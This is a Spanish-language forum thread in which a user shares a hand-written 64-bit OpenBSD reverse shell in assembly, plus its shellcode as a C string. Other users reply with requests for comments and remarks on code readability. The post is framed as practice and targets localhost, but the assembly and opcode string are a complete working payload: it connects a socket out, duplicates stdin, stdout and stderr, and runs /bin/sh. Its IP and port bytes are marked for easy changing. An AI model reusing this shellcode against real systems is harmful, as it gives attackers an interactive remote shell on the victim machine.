Hola
Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.
Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.
.section .text
.globl _start
_start:
incb %al
pushq %rax
popq %rsi
incb %al
pushq %rax //socket
popq %rdi
orb $0x4, %al
pushq %rax
popq %rdx
addb $0x5b, %al
syscall
xchgq %rax, %rdi //descriptor
movq $0x0100007f4dbc02ff, %rbx //sockaddr_in
pushq %rbx
movq %rsp, %rsi
movb $0x10, %dl //connect
orb $0x60, %al
syscall
xorq %rsi, %rsi
C.0:
movb $0x5a, %al
syscall
incb %sil //dup2 0,1,2
cmpb $0x03, %sil
loopne C.0
movq $0x68732f6e69622fff, %rbx
shrq $0x8, %rbx
pushq %rbx
movq %rsp, %rdi
xorb %al, %al //execve sh
pushq %rax
movq %rsp, %rsi
xchgq %rax, %rdx
addb $0x2b, %al
syscall
xorb %al, %al
C:
"\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a"
"\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02"
"\xbc\x4d" // puerto
"\x7f\x00\x00\x01" // direccion
"\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31"
"\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03"
"\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48"
"\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";
Cualquier pregrunta sobre el código no os cortéis.
Un saludo.
Vendria bien que le pusieses comentarios al codigo, para que lo podamos entender mejor.
Enhorabuena por terminar la reverse shell ;-)
Saludos.
Cual es la parte que no entiendes bien?
Un saludo.
de estas hay bastantes, si te piden que la comentes la idea es que sea legible para las personas que recién se inician, eso creo yo.
saludos y gracias por compartir!!.
Lo comentó línea por línea?
Un saludo.
P.D: También dejare el opcode para los de C.
Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje
Cita de: jackgris en 15 Enero 2013, 13:30 PM
Este no es el caso, por no ser un código tan complicado, pero deberías comentarlo siempre, imagínate que realizas algo muy complejo sobre todo en ASM, y después de unos meses quieres retomar el código. Si no esta comentado, querrás tirar ese fuente a la basura jejeje
eso tiene algo de realidad, pero una cosa es comentarlo para uno y otra orientada a personas que quieren aprender y empiezan por tratar de entender el funcionamiento de la rs